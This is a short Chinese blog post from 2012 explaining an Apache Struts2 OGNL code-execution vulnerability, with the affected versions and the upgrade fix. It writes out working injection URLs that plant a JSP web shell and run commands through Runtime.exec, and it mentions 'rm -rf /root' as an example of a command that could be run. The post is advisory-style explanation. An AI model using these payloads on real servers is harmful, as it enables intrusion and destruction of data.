struts2代码执行漏洞

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址 https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt 还是热乎的,我大概白话一下。 这个漏洞的级别很高,都升级修补一下。 影响版本是2.3.1和2.3.1之前的版本 解决办法是升级2.3.1.1 漏洞原理(自己理解的) Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。 例如 处理请求配置这样 <action name="Test" class="example.Test">     <result name="input">test.jsp</result> </action> 通过ONGL就可以转换成 /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b' oh!god!系统权限就有了,想干什么,就可以干什么了。 或者这样 /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b' 想执行什么就可以执行什么了。比如 rm –rf /root.. 我根据说明做了一下测试 jdk:1.6 struts:2.2.1 代码如下: struts.xml 1: <?xml version="1.0" encoding="UTF-8" ?> 2: <!DOCTYPE struts PUBLIC 3: "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4: "http://struts.apache.org/dtds/struts-2.0.dtd"> 5: <struts> 6: <package name="default" namespace="/" [...]
posted @ 2012-01-09 14:02  大鹏ME  阅读(6190)  评论(0编辑  收藏  举报